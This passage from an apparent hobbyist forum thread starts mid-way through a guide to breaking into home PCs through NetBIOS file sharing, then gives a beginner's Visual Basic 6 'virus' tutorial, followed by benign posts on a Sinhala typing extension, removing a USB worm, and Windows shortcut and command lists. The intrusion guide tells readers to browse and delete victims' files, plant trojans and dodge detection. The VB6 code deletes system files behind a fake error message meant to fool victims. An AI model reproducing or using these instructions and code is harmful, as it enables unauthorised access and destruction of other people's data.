Pre will preload the connection as soon as you log on to the net. DOM is the domain or IP address of the host you are connecting to. INCLUDE will automaticall set you to that file path. In this case as soon as I log on to the net I will get access to 255.102.255.102 on the C:/ drive. The only problem with this is that by doin the NETSTAT command while you are connected, and get the IP of your machine. That's why it only works on simple PC machines. Because people in these days are computer illiterate and have no idea of what these commands can do. They have no idea what NETSTAT is, so you can use that to your advantage. Most PC systems are kind of hard to hack using this method now because they are more secure and can tell when another system is trying to gain access. Also, besure that you (somehow) know whether they are running a firewall or not because it will block the connection to their computer. Most home systems aren't running a firewall, and to make it better, they don't know how operate the firewall, therefore, leaving the hole in the system. To help you out some, it would be a great idea to pick up on some programming languages to show you how the computer reads information and learn some things on TCP/IP (Transfer Control Protocol/Internet Protocol) If you want to find out whether they are running a firewall, simply hop on a Proxy and do a port scan on their IP. You will notice if they are running a firewall because most ports are closed. Either way, you still have a better chance of hacking a home system than hacking *********.

Gaining Access
7. Once you have added this to you LMHOST file. You are basically done. All you need to do is go to:

Start
Find
Computer

Once you get there you simply type the IP address or the host name of the system. When it comes up, simply double click it, and boom! There's a GUI for you so you don't have to use DOS anymore. You can use DOS to do it, but it's more simple and fun this way, so that's the only way i put it. When you open the system you can edit, delete, rename, do anything to any file you wish. I would also delete the command file in C:/ because they may use it if they think someone is in their computer. Or simply delete the shortcut to it. Then here's when the programming comes in handy. Instead of using the NBTSTAT method all the time, you can then program you own trojan on your OWN port number and upload it to the system. Then you will have easier access and you will also have a better GUI, with more features. DO NOT allow more than one connection to the system unless they are on a faster connection. If you are downloading something from their computer and they don't know it and their connection is being slow, they may check their NETSTAT to see what is connected, which will show your IP and make them suspicious. Thats it. All there is to it. Now go out and scan a network or something and find a computer with port 21 or something open.

 

[||~DxxCxxxx~||]

elazzzzzzzzzzz gud work ube collection ekata thawath collection ekeka >>>>>>>>>>>>.keep going

Thank you machan....

 

[||~DxxCxxxx~||]

Programming a Virus in VB6 for Beginners

isual Basic 6 - Creating a Simple Virus

Now many of you feel that creating a virus is impossible especially for you beginners. Well this tutorial shows you how to create a simple virus with just a few lines of code. A virus can be an application that deletes files upon request, this is seen as infecting your computer because by deleting key files you may need to take action to get your computer back to normal.

First of all open a new Visual Basic project, a standard exe file..

Now it depends on how you want your virus to work, I feel it is best if it is activated once your application is opened so the main code codes in the form load sub.

On your project insert a text box , a command button and a timer, we will be using the command button and timer a little later on.

In the project put in the file you want to delete, for example if you wanted to delete the command file then you would put the following code in the form load tab.

Private Sub Form_Load()
Text1.Text = "C:/Windows/System32/cmd.exe
Kill Text1.Text
End Sub

Once the project is opened then the command file will be removed.

Now I will show you an example of doing this using a command button. Put the following code in the command button and in the form load.

You can even give the text box a name to make it quicker. I have labelled it 'A'

Private Sub Form_Load()
Text1.Text = "C/Windows/System32/cmd.exe"
A = Text1.Text
End Sub

Private Sub Command1_Click
Kill A
End Sub

Now once the command button is clicked on the project the command file will be deleted.

Now we will use the timer in this one. If you want to disguise your scheme then this is a good way to do it, Here we will send a fake message error pretending the application hasn't got enough memory to run, but in actual fact the victim doesn't know that you have just removed their command file.

Here is to go about it.

Private Sub Form_Load()
Form1.Visible = False
Text1.Text = "C:/Windows/System32/cmd.exe"
A = Text1.Text
Msgbox ("Runtime Error 492. Not Enough Memory."), vbCritical, "Runtime Error"
End Sub

Private Sub Timer1_Timer()
Timer1.Interval = 5000
Kill A
Timer1.Enabled = False
End Sub

All we have done above is made the form invisible so that it makes the error message look real, we have set an interval of 5 seconds on the timer before the file is deleted and that's how simple it can be to fool someone.

Right, we can now make it a little more difficult if you are finding the above a little too easy.

How about removing more than 1 file, well this is how you could go about doing that, we will stick with the message box fool because I think that works well.

The example below shows how to remove the files when the application is loaded, we will not be using timers or command buttons in this one. We will not even be using text boxes because they are not needed, you can just do what is shown below.

So in the form load part put the following code.

Private Sub Form_Load()
Form1.Visible = False
Msgbox ("Runtime Error 492. Not Enough Memory."), vbCritical, "Runtime Error"
Kill "C:/Windows/System32/cmd.exe" s
Kill "C:/Windows/regedit.exe"
End Sub
So above we will be removing the command file and the registry, I don't think the victim will be best pleased about that do you.

Now I have shown you the above information I think it's your turn to try and create your own, now you can test it on your own pc, just copy a file, lets say the cmd.exe file and paste it into your C:/

Then put in the code above but in the Kill put this.

Kill "C:/cmd.exe"

That's all you need to kill, then you will see the file has been removed. Keep trying new things like I have shown and you will be a pro in no time. I hope you enjoyed this tutorial and if you have any questions or want more tutorials like this then please visit our website at the below url.

 

[sherlock]

thanx

 

[||~DxxCxxxx~||]

thanx

Your welcome machan...

 

[Nuwanddi]

ela ela machan

keep it up, gud work

 

[||~DxxCxxxx~||]

ela ela machan

keep it up, gud work

Thank you machan...

 

[||~DxxCxxxx~||]

SinhalaKey Extension Release

Sinhala key is a extension to Firefox which helps to typing Sinhala language. It'll be suitable for chatting, blogging and other common typing purposes in Firefox browser. Now (In version 1.0) it supports only for SINGRISH ( ea kiyanne mehema type karana eka [ typing sinhala words using English letters as same sound generate as Sinhala word] ). In version 2 , it'll support to Wijesekara keyboard layout, which is the standard keyboard for typing Sinhala.

PREREQUESITES: You should install sinhala unicode fonts in your computer inorder to use this extension. Follow the instructions on the

http://si.wikipedia.org/wiki/Wikipedia:Sinhala_font#How_to_read_Sinhala

and install correct sinhala pack.

SINGRISH TRANSLITERATION:

​

Here is a preview of it's use for typing

How to Install:​

IMPORTANT : If you have not installed sinhala unicode fonts and not followed the instructions at page, Do it before continuing.


1.click the link

http://downloads.mozdev.org/sinhalakey/sinhalakey-0.9.0-fx+tb.xpi

. Then Firefox will tell that it prevent installing software form this site. Click the popup bar in the window and allow this site to install softwares.Then click the previous link again. Then Click Install.

2.Restart Firefox browser.

3.To use sinhala singrish, Go to required text box and click on it.

4.Then,

1.Right click on it, then select "Sinhala Yathuru Puwaruwa"->"Singrish"
OR
2.Press Alt+F2,
to use the Singrish typing.

5.To go back to normal English typing,

1.Right click on it, then select "Sinhala Yathuru Puwaruwa"->"English"
OR
2.Press F2,


Happy typing!

 

[||~DxxCxxxx~||]

Lets join ours hands in removing w32.USBWorm

If you find this message “I DNT HATE MOZILLA BUT USE IE OR ELSE…” when you launch Firefox or this” ORKUT IS BANNED, Orkut is banned you fool`, The administrators didn’t write this program guess who did?? ” when you try to launch Orkut Or "youtube IS BANNED,youtube is banned you fool`, The administrators didn’t write this program guess who did??`r`r MUHAHAHA!!,30", then you are system is infected with w32.USBworm (w32.USB worm). Don’t PANIC, this worm is a decent worm, which does not destroy your files or damage your computer.

The following steps help you to remove w32.USBworm completely from your system.

First you need to see all the running processes on your system, for that you need to press Alt+Ctrl+Del. This will launch 'Task Manager' then click on Process tab to see all the running processes. Then you need to manually search for 'svchost.exe' (you will find many but you need to carefully select the one which is having 'User Name' as your Windows login name). Refer to the below attached picture. After finding the process, right click on the process and click 'End Process Tree', and then click on OK. This will kill the running virus on your system.

Now you can happily launch Firefox, Orkut and Youtube

Lets throw the worm out of the computer

To remove the worm completely from your computer, you need to remove Registry keys written by the worm

1. Press "Window key" + "r" or go to Start-->Run, then type "regedit" (without quotes).

2. You need to navigate to "HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ Folder\Hidden\SHOWALL, checkedvalue" And reset the “CheckedValue” key back to 1. This is to show all the hidden files.

3. Then navigate to "HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run " and delete the "winlogon" key. --- This will stop the worm installing at the start up.

Now you need to search for the worm which is located on your harddisk. For that you need to use the windows search and do the things which shown in the below gif image

Delete only the svchost.exe of your user name

Type c:\heap41a in you address barof your explorer and you can trace this folder

Now give a smile… you have done it….

 

[||~DxxCxxxx~||]

Windows XP Shortcuts

ALT+- (ALT+hyphen) Displays the Multiple Document Interface (MDI) child window's System menu
ALT+ENTER View properties for the selected item
ALT+ESC Cycle through items in the order they were opened
ALT+F4 Close the active item, or quit the active program
ALT+SPACEBAR Display the System menu for the active window
ALT+TAB Switch between open items
ALT+Underlined letter Display the corresponding menu
BACKSPACE View the folder one level up in My Computer or Windows Explorer
CTRL+A Select all
CTRL+B Bold
CTRL+C Copy
CTRL+I Italics
CTRL+O Open an item
CTRL+U Underline
CTRL+V Paste
CTRL+X Cut
CTRL+Z Undo
CTRL+F4 Close the active document
CTRL while dragging Copy selected item
CTRL+SHIFT while dragging Create shortcut to selected iteM
CTRL+RIGHT ARROW Move the insertion point to the beginning of the next word
CTRL+LEFT ARROW Move the insertion point to the beginning of the previous word
CTRL+DOWN ARROW Move the insertion point to the beginning of the next paragraph
CTRL+UP ARROW Move the insertion point to the beginning of the previous paragraph
SHIFT+DELETE Delete selected item permanently without placing the item in the Recycle Bin
ESC Cancel the current task
F1 Displays Help
F2 Rename selected item
F3 Search for a file or folder
F4 Display the Address bar list in My Computer or Windows Explorer
F5 Refresh the active window
F6 Cycle through screen elements in a window or on the desktop
F10 Activate the menu bar in the active program
SHIFT+F10 Display the shortcut menu for the selected item
CTRL+ESC Display the Start menu
SHIFT+CTRL+ESC Launches Task Manager
SHIFT when you insert a CD Prevent the CD from automatically playing
WIN Display or hide the Start menu
WIN+BREAK Display the System Properties dialog box
WIN+D Minimizes all Windows and shows the Desktop
WIN+E Open Windows Explorer
WIN+F Search for a file or folder
WIN+F+CTRL Search for computers
WIN+L Locks the desktop
WIN+M Minimize or restore all windows
WIN+R Open the Run dialog box
WIN+TAB Switch between open items

 

[||~DxxCxxxx~||]

Run Commands Shortcuts

compmgmt.msc - Computer management
devmgmt.msc - Device manager
diskmgmt.msc - Disk management
dfrg.msc - Disk defrag
eventvwr.msc - Event viewer
fsmgmt.msc - Shared folders
gpedit.msc - Group policies
lusrmgr.msc - Local users and groups
perfmon.msc - Performance monitor
rsop.msc - Resultant set of policies
secpol.msc - Local security settings
services.msc - Various Services
msconfig - System Configuration Utility
regedit - Registry Editor
msinfo32 _ System Information
sysedit _ System Edit
win.ini _ windows loading information(also system.ini)
winver _ Shows current version of windows
mailto: _ Opens default email client
command _ Opens command prompt

Run Commands to access the control panel:

Add/Remove Programs control appwiz.cpl
Date/Time Properties control timedate.cpl
Display Properties control desk.cpl
FindFast control findfast.cpl
Fonts Folder control fonts
Internet Properties control inetcpl.cpl
Keyboard Properties control main.cpl keyboard
Mouse Properties control main.cpl
Multimedia Properties control mmsys.cpl
Network Properties control netcpl.cpl
Password Properties control password.cpl
Printers Folder control printers
Sound Properties control mmsys.cpl sounds
System Properties control sysdm.cpl

 

[||~DxxCxxxx~||]

Command Prompt Shortcuts

ANSI.SYS Defines functions that change display graphics, control cursor movement, and reassign keys.
APPEND Causes MS-DOS to look in other directories when editing a file or running a command.
ARP Displays, adds, and removes arp information from network devices.
ASSIGN Assign a drive letter to an alternate letter.
ASSOC View the file associations.
AT Schedule a time to execute commands or programs.
ATMADM Lists connections and addresses seen by Windows ATM call manager.
ATTRIB Display and change file attributes.
BATCH Recovery console command that executes a series of commands in a file.
BOOTCFG Recovery console command that allows a user to view, modify, and rebuild the boot.ini
BREAK Enable / disable CTRL + C feature.
CACLS View and modify file ACL's.
CALL Calls a batch file from another batch file.
CD Changes directories.
CHCP Supplement the International keyboard and character set information.
CHDIR Changes directories.
CHKDSK Check the hard disk drive running FAT for errors.
CHKNTFS Check the hard disk drive running NTFS for errors.
CHOICE Specify a listing of multiple options within a batch file.
CLS Clears the screen.
CMD Opens the command interpreter.
COLOR Easily change the foreground and background color of the MS-DOS window.
COMP Compares files.
COMPACT Compresses and uncompress files.
CONTROL Open control panel icons from the MS-DOS prompt.
CONVERT Convert FAT to NTFS.
COPY Copy one or more files to an alternate location.
CTTY Change the computers input/output devices.
DATE View or change the systems date.
DEBUG Debug utility to create assembly programs to modify hardware settings.
DEFRAG Re-arrange the hard disk drive to help with loading programs.
DEL Deletes one or more files.
DELETE Recovery console command that deletes a file.
DELTREE Deletes one or more files and/or directories.
DIR List the contents of one or more directory.
DISABLE Recovery console command that disables Windows system services or drivers.
DISKCOMP Compare a disk with another disk.
DISKCOPY Copy the contents of one disk and place them on another disk.
DOSKEY Command to view and execute commands that have been run in the past.
DOSSHELL A GUI to help with early MS-DOS users.
DRIVPARM Enables overwrite of original device drivers.
ECHO Displays messages and enables and disables echo.
EDIT View and edit files.
EDLIN View and edit files.
EMM386 Load extended Memory Manager.
ENABLE Recovery console command to enable a disable service or driver.
ENDLOCAL Stops the localization of the environment changes enabled by the setlocal command.
ERASE Erase files from computer.
EXIT Exit from the command interpreter.
EXPAND Expand a M*cros*ft Windows file back to it's original format.
EXTRACT Extract files from the M*cros*ft Windows cabinets.
FASTHELP Displays a listing of MS-DOS commands and information about them.
FC Compare files.
FDISK Utility used to create partitions on the hard disk drive.
FIND Search for text within a file.
FINDSTR Searches for a string of text within a file.
FIXBOOT Writes a new boot sector.
FIXMBR Writes a new boot record to a disk drive.
FOR Boolean used in batch files.
FORMAT Command to erase and prepare a disk drive.
FTP Command to connect and operate on a FTP server.
FTYPE Displays or modifies file types used in file extension associations.
GOTO Moves a batch file to a specific label or location.
GRAFTABL Show extended characters in graphics mode.
HELP Display a listing of commands and brief explanation.
IF Allows for batch files to perform conditional processing.
IFSHLP.SYS 32-bit file manager.
IPCONFIG Network command to view network adapter settings and assigned values.
KEYB Change layout of keyboard.
LABEL Change the label of a disk drive.
LH Load a device driver in to high memory.
LISTSVC Recovery console command that displays the services and drivers.
LOADFIX Load a program above the first 64k.
LOADHIGH Load a device driver in to high memory.
LOCK Lock the hard disk drive.
LOGON Recovery console command to list installations and enable administrator login.
MAP Displays the device name of a drive.
MD Command to create a new directory.
MEM Display memory on system.
MKDIR Command to create a new directory.
MODE Modify the port or display settings.
MORE Display one page at a time.
MOVE Move one or more files from one directory to another directory.
MSAV Early M*cros*ft Virus scanner.
MSD Diagnostics utility.
MSCDEX Utility used to load and provide access to the CD-ROM.
NBTSTAT Displays protocol statistics and current TCP/IP connections using NBT
NET Update, fix, or view the network or network settings
NETSH Configure dynamic and static network information from MS-DOS.
NETSTAT Display the TCP/IP network protocol statistics and information.
NLSFUNC Load country specific information.
NSLOOKUP Look up an IP address of a domain or host on a network.
PATH View and modify the computers path location.
PATHPING View and locate locations of network latency.
PAUSE Command used in batch files to stop the processing of a command.
PING Test / send information to another network computer or network device.
POPD Changes to the directory or network path stored by the pushd command.
POWER Conserve power with computer portables.
PRINT Prints data to a printer port.
PROMPT View and change the MS-DOS prompt.
PUSHD Stores a directory or network path in memory so it can be returned to at any time.
QBASIC Open the QBasic.
RD Removes an empty directory.
REN Renames a file or directory.
RENAME Renames a file or directory.
RMDIR Removes an empty directory.
ROUTE View and configure windows network route tables.
RUNAS Enables a user to execute a program on another computer.
SCANDISK Run the scandisk utility.
SCANREG Scan registry and recover registry from errors.
SET Change one variable or string to another.
SETLOCAL Enables local environments to be changed without affecting anything else.
SETVER Change MS-DOS version to trick older MS-DOS programs.
SHARE Installs support for file sharing and locking capabilities.
SHIFT Changes the position of replaceable parameters in a batch program.
SHUTDOWN Shutdown the computer from the MS-DOS prompt.
SMARTDRV Create a disk cache in conventional memory or extended memory.
SORT Sorts the input and displays the output to the screen.
START Start a separate window in Windows from the MS-DOS prompt.
SUBST Substitute a folder on your computer for another drive letter.
SWITCHES Remove add functions from MS-DOS.
SYS Transfer system files to disk drive.
TELNET Telnet to another computer / device from the prompt.
TIME View or modify the system time.
TITLE Change the title of their MS-DOS window.
TRACERT Visually view a network packets route across a network.
TREE View a visual tree of the hard disk drive.
TYPE Display the contents of a file.
UNDELETE Undelete a file that has been deleted.
UNFORMAT Unformat a hard disk drive.
UNLOCK Unlock a disk drive.
VER Display the version information.
VERIFY Enables or disables the feature to determine if files have been written properly.
VOL Displays the volume information about the designated drive.
XCOPY Copy multiple files, directories, and/or drives from one location to another.
TRUENAME When placed before a file, will display the whole directory in which it exists
TASKKILL It allows you to kill those unneeded or locked up applications